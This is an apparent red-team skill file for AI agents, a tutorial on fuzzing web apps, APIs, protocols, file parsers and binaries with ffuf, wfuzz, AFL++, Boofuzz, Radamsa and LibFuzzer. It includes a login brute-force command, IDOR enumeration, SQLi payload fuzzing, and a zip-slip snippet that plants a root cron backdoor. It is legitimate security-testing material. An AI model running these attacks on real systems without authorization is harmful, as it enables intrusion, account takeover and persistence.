---
name: rt-exploit-fuzzing
description: "Vulnerability discovery through fuzzing for authorized engagements. Web API fuzzing with ffuf and wfuzz, binary fuzzing with AFL++ and LibFuzzer, network protocol fuzzing with Boofuzz, HTTP parameter fuzzing, file format fuzzing, and interpreting crash outputs. Use when searching for unknown vulnerabilities in web applications, custom protocols, or compiled binaries."
---

# rt-exploit-fuzzing — Fuzzing for Vulnerability Discovery

## Overview

Fuzzing sends malformed, random, or mutated inputs to a target to trigger crashes, errors, or unexpected behavior. It discovers vulnerabilities that manual testing misses — buffer overflows, format string bugs, injection points, and logic errors.

**Fuzzing targets:**
- Web applications (parameters, headers, paths)
- REST/GraphQL APIs (field types, lengths, special chars)
- Network protocols (custom TCP/UDP services)
- File parsers (images, documents, archives)
- Compiled binaries (local or remote)

---

## Type 1 — Web Application Fuzzing

### 1a — Parameter Discovery & Value Fuzzing (ffuf)

```bash
# Install
apt install ffuf -y

# Fuzz URL path segments
ffuf -u https://target.com/FUZZ -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt \
  -mc 200,301,302,403 -t 50 -o paths.json

# Fuzz GET parameters
ffuf -u "https://target.com/api?FUZZ=test" \
  -w /opt/SecLists/Discovery/Web-Content/burp-parameter-names.txt \
  -mc 200 -fs 0

# Fuzz parameter values (injection detection)
ffuf -u "https://target.com/api?id=FUZZ" \
  -w /opt/SecLists/Fuzzing/SQLi/Generic-SQLi.txt \
  -mc 200,500 -fr "normal response text"

# Fuzz HTTP headers
ffuf -u "https://target.com/" -H "X-Custom-Header: FUZZ" \
  -w /opt/SecLists/Discovery/Web-Content/common-http-headers.txt

# Fuzz JSON body fields
ffuf -u "https://target.com/api/user" \
  -X POST -H "Content-Type: application/json" \
  -d '{"FUZZ":"test"}' \
  -w /opt/SecLists/Discovery/Web-Content/burp-parameter-names.txt \
  -mc 200 -fs 0

# Multi-position fuzzing (username + password simultaneously)
ffuf -u "https://target.com/login" -X POST \
  -d "username=FUZZ&password=W1" \
  -w users.txt:FUZZ -w passwords.txt:W1 \
  -mc 302 -t 10
```

### 1b — Wfuzz (Advanced Filtering)

```bash
# Install
pip3 install wfuzz

# Fuzz with error detection
wfuzz -c -z file,/opt/SecLists/Fuzzing/special-chars.txt \
  --hw 10 "https://target.com/search?q=FUZZ"
# --hw 10: hide responses with 10 words (filter baseline)

# Detect injection points by response size changes
wfuzz -c -z file,injections.txt \
  --hh 1234 "https://target.com/api?id=FUZZ"
# --hh: hide responses with N chars (filter normal size)

# Recursive fuzzing
wfuzz -c -R 2 -z file,dirs.txt "https://target.com/FUZZ"

# Cookie-based session fuzzing
wfuzz -c -z file,payloads.txt -b "session=FUZZ" https://target.com/dashboard
```

---

## Type 2 — API-Specific Fuzzing

```bash
# GraphQL introspection → fuzz all fields
# First: discover schema
python3 clairvoyance.py -o schema.json https://target.com/graphql

# Generate field fuzz list from schema
python3 -c "
import json
with open('schema.json') as f:
    schema = json.load(f)
for t in schema.get('types', []):
    for field in t.get('fields', []) or []:
        print(field['name'])
" > graphql_fields.txt

# Fuzz each field value
ffuf -u "https://target.com/graphql" \
  -X POST -H "Content-Type: application/json" \
  -d '{"query":"{ user(id: FUZZ) { id name email } }"}' \
  -w /opt/SecLists/Fuzzing/Integers/Integers.txt \
  -mc 200 -mr '"errors"'

# REST API — fuzz IDs for IDOR
seq 1 10000 | ffuf -u "https://target.com/api/users/FUZZ" \
  -w - -mc 200 -t 20

# Fuzz request body for mass assignment
ffuf -u "https://target.com/api/user/update" \
  -X PUT -H "Content-Type: application/json" \
  -d '{"FUZZ":"injected"}' \
  -w /opt/SecLists/Discovery/Web-Content/burp-parameter-names.txt \
  -mc 200
```

---

## Type 3 — Binary Fuzzing with AFL++

```bash
# Install AFL++
apt install afl++ -y
# Or from source: github.com/AFLplusplus/AFLplusplus

# Basic fuzzing of a binary that reads from stdin
mkdir afl_in afl_out
echo "normal_input" > afl_in/seed1

AFL_SKIP_CPUFREQ=1 afl-fuzz -i afl_in -o afl_out -- ./target_binary @@
# @@ = AFL replaces with path to mutated input file

# Fuzzing with shared memory (faster)
afl-fuzz -i afl_in -o afl_out -m none -- ./target_binary

# Fuzzing file parsers (image, PDF, XML)
echo '<?xml version="1.0"?><root>test</root>' > afl_in/seed.xml
afl-fuzz -i afl_in -o afl_out -- ./xml_parser @@

# Check crash results
ls afl_out/crashes/
# Each file = input that caused a crash

# Minimize and analyze crash
afl-tmin -i afl_out/crashes/id:000001 -o min_crash -- ./target_binary @@
gdb ./target_binary --args ./target_binary min_crash
# bt → backtrace → identify vulnerability type
```

### 3a — Network Binary Fuzzing (Boofuzz)

```bash
pip3 install boofuzz

# Basic TCP service fuzzer
python3 << 'EOF'
from boofuzz import *

def main():
    session = Session(target=Target(
        connection=TCPSocketConnection("TARGET_IP", 9999)
    ))
    
    # Define protocol message structure
    s_initialize("REQUEST")
    s_string("GET")          # command
    s_delim(" ")
    s_string("FUZZ_TARGET")  # fuzzed field
    s_delim("\r\n")
    s_static("\r\n")
    
    session.connect(s_get("REQUEST"))
    session.fuzz()

if __name__ == "__main__":
    main()
EOF

python3 fuzzer.py
# Monitor: http://127.0.0.1:26000  (boofuzz web UI)
# Crashes logged automatically
```

---

## Type 4 — File Format Fuzzing

```bash
# Radamsa — general purpose file mutator
apt install radamsa -y

# Generate 1000 mutated inputs from valid seed
radamsa -n 1000 -o mutated_%n.jpg valid_image.jpg

# Feed to target parser
for f in mutated_*.jpg; do
  timeout 2 ./image_parser "$f" 2>/dev/null
  if [ $? -eq 139 ]; then  # 139 = segfault
    echo "CRASH: $f"
    cp "$f" crashes/
  fi
done

# PDF fuzzing (common in enterprise — email attachments)
radamsa -n 100 valid.pdf | xargs -I{} -P10 sh -c 'echo {} | timeout 2 pdfparser {}'

# ZIP/Archive fuzzing (path traversal, zip bombs)
python3 << 'EOF'
import zipfile, io, random, string

# Zip slip attack: file with ../../etc/passwd in name
with zipfile.ZipFile("zipslip.zip", "w") as z:
    z.writestr("../../../tmp/pwned.txt", "pwned")
    z.writestr("../../../../etc/cron.d/backdoor", "* * * * * root id > /tmp/id")
EOF
```

---

## Type 5 — LibFuzzer (In-Process Fuzzing)

```c
// libfuzzer_target.c — wrap your target function
#include <stdint.h>
#include <stddef.h>

// This is the function LibFuzzer will call repeatedly
int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
    if (size < 4) return 0;
    
    // Call your target function with fuzz data
    parse_user_input(data, size);
    return 0;
}
```

```bash
# Compile with sanitizers for crash detection
clang -fsanitize=fuzzer,address,undefined \
  libfuzzer_target.c target_library.c \
  -o fuzz_target

# Run fuzzer
./fuzz_target corpus/ -max_len=1024 -jobs=4

# Crashes saved automatically as crash-* files
```

---

## Interpreting Results

```bash
# Web fuzzing — interesting responses:
# 500 Internal Server Error = potential injection, exception
# 200 with much larger/smaller response = different code path
# Response time spike = potential DoS or sleep-based injection

# Binary fuzzing — crash types:
# SIGSEGV (11) = segmentation fault → potential buffer overflow
# SIGABRT (6)  = assertion failed → logic bug
# Heap buffer overflow → check with AddressSanitizer output

# Triage crashes with GDB
gdb ./target
run < crash_input
bt        # backtrace
info reg  # register state at crash
x/20x $rsp  # stack contents

# Check exploitability
pip3 install exploitable
gdb -batch -ex "run < crash" -ex "exploitable" ./target
```

---

## Skill Levels

**BEGINNER:** ffuf for directory/parameter discovery · Radamsa for file mutation · observe HTTP error codes

**INTERMEDIATE:** AFL++ for binary fuzzing · Boofuzz for network protocols · crash triage with GDB

**ADVANCED:** LibFuzzer with sanitizers · coverage-guided fuzzing · exploit primitive identification from crashes

**EXPERT:** Custom mutators · protocol state machine fuzzing · from crash to working exploit

---

## References

- AFL++: https://github.com/AFLplusplus/AFLplusplus
- Boofuzz: https://github.com/jtpereyda/boofuzz
- ffuf: https://github.com/ffuf/ffuf
- Radamsa: https://gitlab.com/akihe/radamsa
- MITRE T1190: https://attack.mitre.org/techniques/T1190/
